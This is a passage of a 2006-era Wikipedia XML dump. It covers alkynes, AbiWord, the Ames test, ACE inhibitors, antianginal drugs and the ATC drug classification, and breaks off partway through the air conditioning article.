==Examples==

The simplest alkyne is [[ethyne]] ([[acetylene]]):

[[image:ethyne.png]]

==Terminal and internal alkynes==
Terminal alkynes have a hydrogen atom bonded to at least one of the sp hybridized carbons (those involved in the triple bond.  An example would be [[methylacetylene]] (1-propyne under IUPAC nomenclature).

Internal alkynes have something other than hydrogen attached to the sp hybridized carbons, usually another carbon atom, but could be a heteroatom. A good example is 2-pentyne, in which there is a methyl group on one side of the triple bond and an ethyl group on the other side.

==Metal acetylides==
A terminal alkyne with a [[strong base]] such as [[sodium]], [[sodium amide]], [[n-butyllithium]] or a [[grignard reagent]] gives the [[anion]] of the terminal alkyne and a '''metal acetylide'''. Acetylenes are fairly acidic and have [[Acid dissociation constant|pK&lt;sub&gt;a&lt;/sub&gt;]] values (25) between that of [[ammonia]] (35) or [[ethanol]] with 16. The explanation for this acidity is that the negative charge in acetylide is stabilized as a result of the high s character of the sp orbital in which the electron pair resides. [[Electron|Electrons]] in a s orbital benefit from closer proximity to the positively charged atom nucleus and therefore lower in energy. 

== Synthesis ==
Alkynes are generally prepared by [[dehydrohalogenation]] of [[Vicinal (chemistry)|vicinal]] alkyl [[dihalide]]s or the reaction of metal acetylides with primary [[alkyl halide]]s. In the [[Fritsch-Buttenberg-Wiechell rearrangement]] an alkyne is prepared starting from a [[vinyl|vinyl bromide]]. 

Alkynes can be prepared from [[aldehyde]]s using the [[Corey-Fuchs reaction]] or the [[Seyferth-Gilbert homologation]].

==Reactions==
Alkynes are involved in many [[organic reaction]]s.

* [[electrophilic addition]] reactions
** addition of [[hydrogen]] to the [[alkene]] or the [[alkane]]
** addition of [[halogen]]s to the vinyl halides or alkyl halides
** addition of [[hydrogen halide]]s to the corresponding [[vinyl halide]]s or [[alkyl halide]]s
** addition of water to the [[carbonyl]] compound (through the [[enol]] intermediate)
* [[Cycloaddition]]s
** [[Diels-Alder reaction]] with [[2-pyrone]] to an [[aromatic]] compound after elimination of [[carbon dioxide]]
** [[Azide alkyne Huisgen cycloaddition]] to [[triazole]]s
** [[Bergman cyclization]] of enediynes to an [[aromatic]] compound
** [[Alkyne trimerisation]] to [[aromatic]] compounds
** scrambling of alkynes in [[alkyne metathesis]] to new alkyne compounds
** [2+2+1]cycloaddition of an alkyne, [[alkene]] and [[carbon monoxide]] in the [[Pauson–Khand reaction]]
* [[nucleophilic substitution]] reactions of metal acetylides
** new [[carbon-carbon bond]] formation with alkyl halides 
* [[nucleophilic addition]] reactions of metal acetylides
** reaction with [[carbonyl]] compounds to an intermediate [[alkoxide]] and then to the [[hydroxyalkyne]] after acidic workup.
* [[hydroboration]] reaction of alkynes with [[organoborane]]s to vinylic boranes
** followed by reduction by [[hydrogen peroxide]] to the corresponding [[aldehyde]] or [[ketone]]
* oxidative cleavage with [[potassium permanganate]] to the [[carboxylic acid]]s

[[Category:Alkynes]]
[[Category:Hydrocarbons]]
[[Category:functional groups]]

[[ar:ألكاين]]
[[ca:Alquí]]
[[da:Alkyn]]
[[de:Alkine]]
[[et:Alküünid]]
[[es:Alquino]]
[[eo:Alkino]]
[[fr:Alcyne]]
[[it:Alchini]]
[[he:אלקין]]
[[lv:Alkīni]]
[[nl:Alkyn]]
[[ja:アルキン]]
[[pl:Alkin]]
[[pt:Alcino]]
[[sr:Алкин]]
[[su:Alkuna]]
[[fi:Alkyyni]]
[[sv:Alkyn]]
[[uk:Алкіни]]
[[zh:炔]]</text>
    </revision>
  </page>
  <page>
    <title>AbiWord</title>
    <id>2764</id>
    <revision>
      <id>41189275</id>
      <timestamp>2006-02-25T17:37:04Z</timestamp>
      <contributor>
        <username>Where</username>
        <id>722151</id>
      </contributor>
      <minor />
      <comment>[[Category:Free word processors]]</comment>
      <text xml:space="preserve">{{Infobox_Software|
 name = AbiWord
|screenshot = [[Image:Abiword_2.2.jpg|250px]]
|caption = AbiWord 2.2.1 for Windows
|developer = The AbiWord Team
|latest_release_version = 2.4.2
|latest_release_date = [[January 2]], [[2006]]
|operating_system = [[Cross-platform]]
|genre = [[Word processor]]
|license = [[GNU General Public License|GPL]]
|website = [http://www.abisource.com/ www.abisource.com]
}}

'''AbiWord''' is a [[Free software|free]] [[Word processor|word processing]] program under the [[GNU General Public License|GPL]] which runs on [[Linux]], [[Mac OS X]], [[Microsoft Windows]], [[ReactOS]], [[SkyOS]], [[BeOS]] and other [[operating system]]s. AbiWord was originally started by [[SourceGear]] Corporation as the first component of AbiSuite, as an ambitious plan to create a full Office Suite that would be [[free software]] / [[open source software]] . SourceGear gradually moved to other business interests and the project is currently run entirely by a team of volunteer developers.  AbiWord is part of [[GNOME Office]], a collection of office applications with some degree of integration.

AbiWord Version 1.0 was released on [[April 18]], [[2002]] and received praise for its speed and small size. However version 1.0 did not yet include support for table based layout, which many users considered an essential feature. Table support was finally included as planned for version 2.0, which was released on [[September 15]], [[2003]].

AbiWord has several import/export filters including [[Rich Text Format|RTF]], [[HTML]], [[OpenOffice.org]], [[Microsoft Word]] and [[LaTeX]]. The native [[file format]] uses [[XML]], so documents written with the program are perceived to be a safe investment from a digital archiving perspective.

AbiWord has a very similar user interface to Microsoft Word to help make it easier for new users to migrate to Abiword.  Although there are differences, the AbiWord developers aim to embrace and copy the design of Microsoft Word or extend it and produce a better improved design.  

The name AbiWord is derived from the root of the Spanish word &quot;Abierto&quot; meaning open.  The English pronunciation sounds like &quot;Abbey&quot; Word.  

AbiWord contains a [[Wikipedia]] [[plugin]] to look up an encyclopedic reference for a selected word [http://www.abisource.com/mailinglists/abiword-dev/01/December/0391.html].

==Versions==
[[Image:Abiword grammar.jpg|thumb|320px|AbiWord 2.4 checks grammar using [[Link grammar]] ]]
; Abiword 0.7 : [[May 19]] [[1999]]
; Abiword 0.9 : [[July 31]] [[2001]] 
; Abiword 1.0 : [[April 18]], [[2002]].  
; Abiword 2.0 : [[September 15]], [[2003]]. Included support for Tables, Footnotes and Endnotes.  
; Abiword 2.2 : [[December 3]], [[2004]]. Included support for Table of Contents.
; Abiword 2.4 : [[September 30]], [[2005]]. Included support for [[OpenDocument]] file import, equation editing, and grammar checking.

==See also==
*[[List of word processors]]

==External links==
*[http://www.abisource.com/ AbiSource.com], the website.
*[http://portableapps.com/apps/office/word_processors/portable_abiword Portable Abiword] A version of AbiWord packaged for use on removable devices (USB thumbdrive, iPod, MP3 player, portable hard drive, etc)
*[http://salon.com/tech/col/leon/2002/11/15/abiword/index.html Andrew Leonard: Abiword Up.] ''Salon.com'', Nov 15 2002. History of the project and comparison with closed source development.
*[http://www.flexbeta.net/main/articles.php?action=show&amp;id=78 AbiWord vs. MS Word] ''Flexbeta.net'', Sep 1 2004.
*[http://software.newsforge.com/software/05/08/16/2038242.shtml?tid=93&amp;tid=150 Comparison between OOo Writer, AbiWord, and KWord] ''[[newsforge.com]]'', Aug 23 2005.

[[Category:GNOME]]
[[Category:Linux word processors]]
[[Category:Mac OS word processors]]
[[Category:SourceForge projects]]
[[Category:Windows word processors]]
[[Category:Free word processors]]

[[ca:AbiWord]]
[[da:AbiWord]]
[[de:AbiWord]]
[[es:AbiWord]]
[[fr:AbiWord]]
[[gl:AbiWord]]
[[it:AbiWord]]
[[ku:AbiWord]]
[[nl:AbiWord]]
[[ja:AbiWord]]
[[pl:AbiWord]]
[[pt:AbiWord]]
[[simple:AbiWord]]
[[sv:AbiWord]]
[[fi:AbiWord]]</text>
    </revision>
  </page>
  <page>
    <title>ATC classification</title>
    <id>2765</id>
    <revision>
      <id>15901157</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anatomical Therapeutic Chemical Classification System]]
</text>
    </revision>
  </page>
  <page>
    <title>Ames test</title>
    <id>2766</id>
    <revision>
      <id>26931809</id>
      <timestamp>2005-10-31T01:17:02Z</timestamp>
      <contributor>
        <username>Kazrak</username>
        <id>215642</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">The '''Ames test''' is a biological assay used in [[genetics]], generally [[genetic toxicology]], to test for [[mutagenic]] properties of a chemical compound. A compound is said to be [[mutagenic]] if it causes a change in the [[DNA]] (deoxyriboneucleic acid) of a living cell or organism. The test is named after its inventor, [[Bruce Ames]].

== General procedure ==
This assay is carried out using strains of [[bacterium|bacteria]], generally [[Escherichia coli]] or [[Salmonella]] that already have a single mutation, for example, a [[strain]] that cannot produce [[histidine]], an [[amino acid]] that is essential for the bacterium to grow if not provided externally with essential nutrients. Cultures of the bacteria are grown in an [[agar]] containing dish so that a &quot;lawn&quot; of bacteria is present.

The experimental cultures are exposed to the agent to be tested while the positive control cultures are exposed to a known mutagen to confirm that there has been no contamination of the strain. Strains of bacteria are available which have been genetically modified such that only a certain type of mutation (i.e. a base pair mutation or a frameshift mutation) will cause the strand to revert to a normal state, not requiring nutrients to grow. If the mutation screened for has in fact occurred, dense spots in the colonies will form. A certain number of spots may form due to random mutation not caused by the agent; therefore, data analysis using control dishes is necessary. Occasionally a tested agent will be toxic enough to simply kill the bacterial culture in which case a &quot;thin lawn&quot; is observed.

== S-9 ==
In some Ames assays an S-9 mix is added. The S-9 mix contains liver [[enzymes]], generally from a [[rat]]. These enzymes can metabolize the agent being tested in order to predict the mutagenic properties within a living system, specifically the source of the S-9 enzymes.

== Mutagenic and carcinogenic correlation ==
Studies have shown that the majority of substances shown to be mutagenic by an Ames assay will be [[carcinogenic]] in humans.

[[Category:Applied genetics]]

[[pl:Test Ames]]</text>
    </revision>
  </page>
  <page>
    <title>ACE inhibitor</title>
    <id>2767</id>
    <revision>
      <id>38416610</id>
      <timestamp>2006-02-06T04:30:07Z</timestamp>
      <contributor>
        <username>Uthbrian</username>
        <id>562409</id>
      </contributor>
      <comment>/* Use in combination with ACE inhibitors */ add info</comment>
      <text xml:space="preserve">'''ACE inhibitors''', or inhibitors of [[angiotensin-converting enzyme|'''A'''ngiotensin-'''C'''onverting '''E'''nzyme]], are a group of [[pharmaceutical]]s that are used primarily in treatment of [[hypertension]] and [[congestive heart failure]], in most cases as the drugs of first choice.

==Clinical use==

Indications of ACE inhibitors include:

* Prevention of [[cardiovascular]] disorders
* [[Congestive heart failure]]
* [[Hypertension]]
* Left [[ventricle (heart)|ventricular]] dysfunction
* Prevention of [[nephropathy]] in [[diabetes mellitus]]

In several of these indications, ACE inhibitors are used first-line as several agents in the class have been clinically shown to be superior to other classes of drugs in the reduction of [[morbidity]] and [[mortality]].

ACE inhibitors are often combined with [[diuretic]]s in the control of hypertension (usually a [[thiazide]]), when an ACE inhibitor alone proves insufficient; and in chronic heart failure (usually [[furosemide]]) for improved symptomatic control. Thus there exists, on the market, combination products combining an ACE inhibitor with a thiazide (usually [[hydrochlorothiazide]]) in a single tablet to allow easy administration by patients.

==Mechanism of action==
They work by modulating the [[renin-angiotensin system|renin-angiotensin-aldosterone]] (RAS or RAAS) system. By inhibiting angiotensin converting enzyme, ACE inhibitors significantly (but not completely) block the conversion of [[angiotensin|angiotensin I]] to [[angiotensin|angiotensin II]]. As a complementary action, ACE inhibitors also reduce the degradation of [[bradykinin]]. Thus ACE inhibitors work to lower blood pressure by decreasing the ''formation'' of a potent vasoconstrictor (angiotensin II) and decreasing the ''degradation'' of a potent vasodilator (bradykinin).

==Effects of ACE inhibitors==
ACE inhibitors lower [[arteriole|arteriolar]] resistance and increase venous capacitance; increase [[cardiac output]] and [[cardiac index]], stroke work and [[stroke volume|volume]], lower renovascular resistance, and lead to increased [[natriuresis]] (excretion of [[sodium]] in the [[urine]]).

[[Epidemiology|Epidemiological]] and clinical studies have shown that ACE inhibitors reduce the progress of [[diabetic nephropathy]] independently from their blood pressure-lowering effect. This action of ACE inhibitors is utilised in the prevention of diabetic renal failure.

ACE inhibitors have been shown to be effective for indications other than hypertension even in patients with normal blood pressure. The use of a maximum dose of ACE inhibitors in such patients (including for prevention of diabetic nephropathy, congestive heart failure, prophylaxis of cardiovascular events) is justified because it improves clinical outcomes, independent of the blood pressure lowering effect of ACE inhibitors. Such therapy, of course, requires careful and gradual titration of the dose to prevent the patient suffering from the effects of rapidly decreasing their blood pressure (dizziness, fainting, ''etc'').

==Adverse effects==
Common adverse drug reactions include: [[hypotension]], [[cough]], [[hyperkalaemia]], [[headache]], [[Vertigo (medical)|dizziness]], [[Fatigue (physical)|fatigue]], [[nausea]], renal impairment (Rossi, 2004).

A persistent dry cough is a relatively common adverse effect believed to be associated with the increases in [[bradykinin]] levels produced by ACE inhibitors. Patients who experience this cough are often switched to [[angiotensin II receptor antagonist]]s.

Rash and taste disturbances, infrequent with most ACE inhibitors, are more prevalent in [[captopril]] and is attributed to its sulfhydryl moiety. This has led to decreased use of captopril in clinical setting, although it is still used in [[scintigraphy]] of the kidney.

Renal impairment is a significant adverse effect of all ACE inhibitors, and is associated with their effect on angiotensin II-mediated [[homeostasis|homeostatic]] functions such as renal bloodflow. ACE inhibitors can induce or exacerbate renal impairment in patients with [[renal artery stenosis]]. This is especially a problem if the patient is also concomitantly taking an [[NSAID]] and a [[diuretic]] - the so-called &quot;triple whammy&quot; effect - such patients are at very high risk of developing renal failure (Thomas, 2000).

Some patients develop [[angioedema]] due to increased bradykinin levels. There appears to be a genetic predisposition towards this side-effect in patients who degrade bradykinin slower than average (Molinaro 2002).

==Examples of ACE inhibitors==
ACE inhibitors can be divided into three groups based on their molecular structure:

===Sulfhydryl-containing ACE inhibitors===

* [[Captopril]] (Capoten®), the first ACE inhibitor

===Dicarboxylate-containing ACE inhibitors===

This is the largest group, including:

* [[Enalapril]] (Vasotec®/Renitec®)
* [[Ramipril]] (Altace®/Tritace®/Ramace®)
* [[Quinapril]] (Accupril®)
* [[Perindopril]] (Coversyl®)
* [[Lisinopril]] (Lisodur®/Prinivil®/Zestril®)

===Phosphonate-containing ACE inhibitors===

* [[Fosinopril]] (Monopril®), the only member

===Naturally occurring===

[[Casokinin]]s and [[lactokinin]]s are breakdown products of [[casein]] and [[whey]] that occur naturally after ingestion of [[milk]] products, especially [[sour milk]]. Their role in blood pressure control is uncertain. (FitzGerald ''et al'', 2004)

==Comparative information==

Comparatively, all ACE inhibitors have similar antihypertensive efficacy when equivalent doses are administered. The main point-of-difference lies with captopril, the first ACE inhibitor, which has a shorter duration of action and increased incidence of certain adverse effects (see the captopril article for more detail).

Certain agents in the ACE inhibitor class have been proven, in large clinical studies, to reduce mortality post-[[myocardial infarct]], prevent development of heart failure, ''etc''. While these effects are likely to be  class-effects, good [[evidence-based medicine]] practice would direct the use of those agents with established clinical efficacy (see AMH 2004, or other sources for more details on specific agents).

==Contraindications and precautions==

The ACE inhibitors are contraindicated in patients with:

* Previous [[angioedema]] associated with ACE inhibitor therapy
* [[Renal artery stenosis]] (bilateral, or unilateral with a solitary functioning kidney)

ACE inhibitors should be used with caution in patients with:

* Impaired renal function
* [[Aortic valve stenosis]] or cardiac outflow obstruction
* [[Hypovolaemia]] or [[dehydration]]
* [[Haemodialysis]] with high flux polyacrylonitrile membranes

ACE inhibitors are [[Australian Drug Evaluation Committee|ADEC]] [[Pregnancy category]] D, and should be avoided in women who are likely to become pregnant. (Rossi, 2005)

Potassium supplementation should be used with caution and under medical supervision owing to the [[hyperkalemia|hyperkalaemic]] effect of ACE inhibitors.

==Angiotensin II receptor antagonists==

ACE inhibitors share many common characteristics with another class of cardiovascular drugs called [[angiotensin II receptor antagonist]]s, which are often used when patients are intolerant of the adverse effects produced by ACE inhibitors. ACE inhibitors do not completely prevent the formation of angiotensin II, as there are other conversion pathways, and so angiotensin II receptor antagonists may be useful because they act to prevent the action of angiotensin II at the AT&lt;sub&gt;1&lt;/sub&gt; receptor.

===Use in combination with ACE inhibitors===
While counterintuitive at first glance, the combination therapy of angiotensin II receptor antagonists with ACE inhibitors may be superior to either agent alone.  This combination may increase levels of bradykinin while blocking the generation of angiotensin II and its activity at the AT&lt;sub&gt;1&lt;/sub&gt; receptor.  This 'dual blockade' may be more effective than using an ACE inhibitor alone, because angiotensin II can be generated via non-ACE-dependent pathways.  Preliminary studies suggest that this combination of pharmacologic agents may be advantageous in the treatment of [[essential hypertension]], chronic [[heart failure]], and [[nephropathy]]. (van de Wal et al., 2005) However, more studies are needed to confirm these highly preliminary results.  While statistically significant results have been obtained for its role in treating hypertension, clinical significance may be lacking. (Finnegan &amp; Gleason, 2003)

Patients with heart failure may benefit from the combination in terms of reducing [[morbidity]] and [[ventricular remodeling]]. (Krum et al., 2004; Solomon et al., 2005)

The most compelling evidence has been found for the treatment of nephropathy: this combination therapy partially reversed the [[proteinuria]] and also exhibited a renoprotective effect in patients afflicted with [[diabetic nephropathy]], (Luno et al., 2005) and pediatric [[IgA nephropathy]]. (Yang et al., 2005)

==References==
* Finnegan PM, Gleason BL. Combination ACE inhibitors and angiotensin II receptor blockers for hypertension. ''Ann Pharmacother'' 2003;'''37'''(6):886-9. PMID 12773079
* FitzGerald RJ, Murray BA, Walsh DJ. Hypotensive peptides from milk proteins. ''J Nutr'' 2004;'''134''':980S-8S. PMID 15051858.
* Krum H, Carson P, Farsang C, et al. Effect of valsartan added to background ACE inhibitor therapy in patients with heart failure: results from Val-HeFT. ''Eur J Heart Fail'' 2004;'''6'''(7):937-45. PMID 15556056
* Luno J, Praga M, de Vinuesa SG. The reno-protective effect of the dual blockade of the renin angiotensin system (RAS). ''Curr Pharm Des'' 2005;'''11'''(10):1291-300. PMID 15853685
* Molinaro G, Cugno M, Perez M, et al. Angiotensin-converting enzyme inhibitor-associated angioedema is characterized by a slower degradation of des-arginine(9)-bradykinin. ''J Pharmacol Exp Ther'' 2002;'''303''':232-7. PMID 12235256.
* Rossi S, editor. [[Australian Medicines Handbook]] 2004. Adelaide: Australian Medicines Handbook; 2004. ISBN 0-9578521-4-2.
* Rossi S, editor. [[Australian Medicines Handbook]] 2005. Adelaide: Australian Medicines Handbook; 2005. ISBN 0-9578521-9-3.
* Solomon SD, Skali H, Anavekar NS, et al. Changes in ventricular size and function in patients treated with valsartan, captopril, or both after myocardial infarction. ''Circulation'' 2005;'''111'''(25):3411-9. PMID 15967846
* Thomas MC. Diuretics, ACE inhibitors and NSAIDs - the triple whammy. ''Med J Aust'' 2000;'''172''':184&amp;ndash;185.
* van de Wal RM, van Veldhuisen DJ, van Gilst WH, Voors AA. Addition of an angiotensin receptor blocker to full-dose ACE-inhibition: controversial or common sense? ''Eur Heart J'' 2005;'''26'''(22):2361-7. PMID 16105846
* Yang Y, Ohta K, Shimizu M, et al. Treatment with low-dose angiotensin-converting enzyme inhibitor (ACEI) plus angiotensin II receptor blocker (ARB) in pediatric patients with IgA nephropathy. ''Clin Nephrol'' 2005;'''64'''(1):35-40. PMID 16047643

[[Category:ACE inhibitors]]

{{Link FA|de}}

[[de:ACE-Hemmer]]
[[es:IECAs]]
[[fr:Inhibiteur de l'enzyme de conversion]]
[[nn:ACE-hemmar]]
[[pt:IECA]]
[[th:เอซีอีอินฮิบิเตอร์]]
[[zh:血管紧张素转化酶抑制剂]]</text>
    </revision>
  </page>
  <page>
    <title>Antiarrhythmic medication</title>
    <id>2768</id>
    <revision>
      <id>15901160</id>
      <timestamp>2004-09-09T18:51:32Z</timestamp>
      <contributor>
        <username>Diberri</username>
        <id>35331</id>
      </contributor>
      <minor />
      <comment>fix link</comment>
      <text xml:space="preserve">#REDIRECT [[Antiarrhythmic agent]]</text>
    </revision>
  </page>
  <page>
    <title>Antianginal</title>
    <id>2769</id>
    <revision>
      <id>34380619</id>
      <timestamp>2006-01-08T17:04:20Z</timestamp>
      <contributor>
        <username>Kubra</username>
        <id>399125</id>
      </contributor>
      <minor />
      <comment>+tr</comment>
      <text xml:space="preserve">An '''antianginal''' is any [[Medication|drug]] used in the treatment of ''[[angina pectoris]]'', a symptom of [[coronary heart disease|ischaemic heart disease]].

Drugs used are [[nitrate]]s such as [[nitroglycerin]] (glyceryl trinitrate) or [[pentaerythritol tetranitrate]]; [[beta blocker]]s, either cardioselectives such as [[acebutolol]] or [[metoprolol]], or non-cardioselectives such as [[oxprenolol]] or [[sotalol]]; or [[calcium channel blocker]]s, either Class I agents (''e.g.'', [[verapamil]]), Class II agents (''e.g.'', [[amlodipine]], [[nifedipine]]), or the Class III agent [[diltiazem]].

[[Nitrates]] cause [[vasodilation]] of the venous capacitance vessels by simulating the [[endothelium-derived relaxing factor]] (EDRF). Used to relieve both exertional and vasospastic angina by allowing venous pooling, reducing the pressure in the ventricles and so reducing wall tension and oxygen requirements in the heart. Short-acting nitrates are used to abort [[angina]] attacks that have occurred, while longer-acting nitrates are used in the prophylactic management of the condition.

[[Beta blockers]] are used in the prophylaxis of exertional angina by reducing the work the heart is allowed to perform below the level that would provoke an angina attack. They cannot be used in vasospastic angina and can precipitate heart failure.

[[Calcium]] [[ion]] (Ca&lt;sup&gt;++&lt;/sup&gt;) antagonists ([[Calcium channel blocker]]s) are used in the treatment of both exertional and vasospastic angina. In vitro, they dilate the coronary and peripheral arteries and have negative inotropic and chronotropic effects - decreasing [[afterload]], improving myocardial efficiency, reducing [[heart rate]] and improving coronary blood flow.
''In vivo'', the vasodilation and [[hypotension]] trigger the [[baroreceptor]] reflex. Therefore the net effect is the interplay of direct and reflex actions. Class I [[antiarrhythmic agents]] have the most potent negative inotropic effect and may cause heart failure; Class II agents do not depress conduction or contractility; the Class III agent has negligible inotropic effect and causes almost no reflex [[tachycardia]].

[[Category:Antianginals]]
[[pt:Antianginoso]]
[[tr:Antianjinal]]</text>
    </revision>
  </page>
  <page>
    <title>Anatomical Therapeutic Chemical Classification System</title>
    <id>2770</id>
    <revision>
      <id>40033414</id>
      <timestamp>2006-02-17T17:21:10Z</timestamp>
      <contributor>
        <username>RoboDick</username>
        <id>815650</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ru</comment>
      <text xml:space="preserve">The '''Anatomical Therapeutic Chemical Classification System''' is used for the classification of [[Medication|drug]]s. It is controlled by the [[World Health Organization|WHO]] Collaborating Centre for Drug Statistics Methodology, and was first published in 1976.

Drugs are divided into different groups according to the organ or system on which they act and/or their therapeutic and chemical characteristics.

== Classification ==

In the system drugs are classified into groups at 5 different levels: 

=== First level ===

The first level of the code is based on a letter for the anatomical group and consists of one letter; there are 14 main groups:

{| class=&quot;wikitable&quot;
|-
| A
| [[ATC code A|Alimentary tract and metabolism]]
|-
| B
| [[ATC code B|Blood and blood forming organs]]
|-
| C
| [[ATC code C|Cardiovascular system]]
|-
| D || [[ATC code D|Dermatologicals]]
|-
| G
| [[ATC code G|Genito-urinary system and sex hormones]]
|-
| H
| [[ATC code H|Systemic hormonal preparations, excluding sex hormones and insulins]]
|-
| J
| [[ATC code J|Anti-infectives for systemic use]]
|-
| L
| [[ATC code L|Antineoplastic and immunomodulating agents]]
|-
| M
| [[ATC code M|Musculo-skeletal system]]
|-
| N || [[ATC code N|Nervous system]]
|-
| P
| [[ATC code P|Antiparasitic products, insecticides and repellents]]
|-
| Q
| [[Veterinary drugs]]
|-
| R || [[ATC code R|Respiratory system]]
|-
| S || [[ATC code S|Sensory organs]]
|-
| V || [[ATC code V|Various]]
|}

=== Second level ===

The second level of the code is based on the therapeutic main group and consists of two digits.

=== Third level ===

The third level of the code is based on the therapeutic/pharmacological subgroup and consists of one letter.

=== Fourth level ===

The fourth level of the code is based on the chemical/therapeutic/pharmacological subgroup and consists of one letter.

=== Fifth level ===

The fifth level of the code is based on the chemical substance subgroup and consists of two digits.

=== Further notes ===

The actual drug name used is the [[International Nonproprietary Name]] (INN) when available.

The ATC/DDD system is the ATC system with the addition of a measure of the assumed average maintenance dose per day for a drug used for its main indication in adults (Defined Daily Doses).

Other ATC classifications are ATCvet (for veterinary medicinal products) and ATC herbal classification (for herbal remedies).

The ATC classification system was based on the Anatomical Classification (AC-system) developed by the [[European Pharmaceutical Market Research Association]] (EPhMRA) and the [[Pharmaceutical Business Intelligence and Research Group]] (PBIRG).



== External links ==

* [http://www.whocc.no/atcddd/ WHO Collaborating Centre for Drug Statistics Methodology]

[[Category:Pharmacologic agents]]
[[Category:Classification systems]]

[[da:Anatomisk terapeutisk kemisk klassifikation]]
[[de:Anatomisch Therapeutisch Chemisches Klassifikationssystem]]
[[es:Código ATC]]
[[fr:Classification anatomique, thérapeutique et chimique]]
[[hu:Anatómiai, gyógyászati és kémiai osztályozási rendszer]]
[[nl:ATC-code]]
[[no:Anatomisk terapeutisk kjemisk klassifikasjon]]
[[nn:Anatomisk-terapeutisk-kjemisk lækjemiddelklassifikasjon]]
[[pl:Klasyfikacja anatomiczno-terapeutyczno-chemiczna]]
[[pt:ATC]]
[[ru:Анатомо-терапевтическо-химическая классификация]]
[[th:ระบบจำแนกประเภทยาตามการรักษาทางกายวิภาคศาสตร์]]
[[zh:解剖学治疗学及化学分类系统]]</text>
    </revision>
  </page>
  <page>
    <title>Air conditioning</title>
    <id>2771</id>
    <revision>
      <id>42131370</id>
      <timestamp>2006-03-04T00:53:27Z</timestamp>
      <contributor>
        <username>Bige1977</username>
        <id>741343</id>
      </contributor>
      <comment>/* Home air conditioning systems around the world */</comment>
      <text xml:space="preserve">[[Image:Single-room AC unit-external.jpg|thumb|right|The external section of a typical single-room air conditioning unit.  For ease of installation, these are frequently placed in a window.  This one was installed through a hole cut in the wall.]][[Image:Single-room AC unit-internal.jpg|thumb|right|The internal section of the same unit.  The front panel swings down to reveal the controls.]]
:''Note: in the broadest sense, &quot;air conditioning&quot; can refer to any form of &quot;[[HVAC|heating, ventilation, and air-conditioning]].&quot; This article is specifically about the use of [[refrigeration]] for this purpose.''

:''The first album of the pop group [[Curved Air]] was called Airconditioning''

An '''air conditioner''' (often abbreviated to '''AC''' in the [[United States]] and [[Canada]], and '''air-con''' in [[Australia]] and  in [[United Kingdom|Britain]]) is an [[appliance]] or [[mechanism]] designed to extract heat from an area using a refrigeration cycle. In construction, a complete system of heating, ventilation and air conditioning is referred to as [[HVAC]].

An [[badgir|earlier form]] of air conditioning was invented in [[Iran|Persia]] (Iran) thousands of years ago in the form of wind shafts on the roof, which caught the wind and passed it through water and blew the cooled air into the building [http://www.metafilter.com/comments.mefi/26911].

The 19th century British scientist and inventor, [[Michael Faraday]] discovered that compressing and liquefying a certain gas could chill air when the liquified gas was allowed to evaporate.  His idea remained largely theoretical.

One of the first uses of air conditioning for personal comfort was in 1902 when the [[New York Stock Exchange|New York Stock Exchange's]] new building was equipped with a central cooling as well as heating system. [[Alfred Wolff]], an engineer from [[Hoboken, New Jersey]] who is considered the forerunner in the quest to cool a working environment, helped design the new system, transferring this budding technology from textile mills to commercial buildings.

Later in 1902, the first modern, electrical air conditioning was [[invention|invented]] by [[Willis Haviland Carrier]] ([[1876]]&amp;ndash;[[1950]]). His invention differed from Wolff's in that it controlled not only temperature, but also [[humidity]] for improved manufacturing process control for a printing plant in [[Brooklyn]], [[New York]].  This specifically helped to provide low heat and humidity for consistent paper dimensions and ink alignment. Later, Carrier's technology was applied to increase productivity in the workplace, and the Carrier Engineering Company, now called [[UTX|Carrier]] (a division of [[United Technologies Corporation]]), was formed in 1915 to meet the new demand. Later still, air conditioning use was expanded to improve comfort in homes and [[automobile]]s.  Residential sales didn't take off until the 1950's. The [[Royal Victoria Hospital, Belfast]], [[Northern Ireland]], is a Landmark Building in building engineering services (built in 1906) and lays claim to being the first “Air conditioned Building in the World”. 

In 1906, [[Stuart Cramer]] first used the term &quot;air conditioning&quot; as he explored ways to add moisture to the air in his southern textile mill. He combined moisture with ventilation to actually &quot;condition&quot; and change the air in the factories, controlling the humidity so necessary in textile plants.

The first air conditioners and [[refrigerator]]s employed toxic gases like [[ammonia]] and [[methyl chloride]], which resulted in fatal accidents when they leaked.  [[Thomas Midgley, Jr.]] created the first chlorofluorocarbon gas, dubbed [[Freon]] in [[1928]]. The refrigerant proved much safer for humans but is harmful to the atmosphere's ozone layer.  &quot;Freon&quot; is a trade name of Dupont for any CFC, HCFC, or HFC refrigerant, the name of each including a number indicating molecular composition (R-11, R-12, R-22, R-134). The blend most used in direct-expansion comfort cooling is an HCFC known as R-22, and is slated to be phased out for use in new equipment by 2010 and completely discontinued by 2020. R-11 and R-12 are no longer manufactured in the US, the only source for purchase being the cleaned and purified gas recovered from other air conditioner systems.

====Rating (SEER) ====
Air conditioners are usually rated of their efficiency by a system called the SEER ( Seasonal Energy Efficiency Ratio)  rating system.  A unit's SEER is calculated by dividing the total number of BTUs of heat removed from the air by the total amount of energy required by the unit. The higher the ratio, the more efficient the unit.

This system rates compressors and condensers on a scale from 1-15, based on their relative efficiency. Today, it is rare to locate any units that are rated below SEER 9, as people are becoming more and more attracted towards the higher efficiency units. An upgrade to a SEER 13 unit, from a SEER 9 system will usually propagate savings of around $300 per year, depending on your location (Compressors , and heat pumps that are used in AC's and Heaters usually work best at temperatures around 50-55 (best in the midwest); at temperatures below 40 Fahrenheit, they begin to reach a point called the balance point, where the unit just cannot pull any more heat out from the air; same around 120 degrees, when relatives outdoor coolness begins to exponentially drop). A common misconception held by people on the SEER rating system is that that it also applies to heating efficiency. This however is not true, as SEER rating testing is done only on Air Conditioning.

== Types of air conditioning == 
=== Refrigeration cycle ===
[[Image:Heatpump.svg|thumb|300px|A diagram of the refrigeration cycle: 1)&amp;nbsp;condensing coil, 2)&amp;nbsp;expansion valve, 3)&amp;nbsp;evaporator coil, 4)&amp;nbsp;compressor.]]

In the [[refrigeration cycle]], a [[heat pump]] transfers heat from a lower temperature heat source into a higher temperature heat sink. Heat would naturally flow in the opposite direction. This is the most common type of air conditioning. 
A refrigerator works in much the same way, as it pumps the heat out of the interior into the room in which it stands.

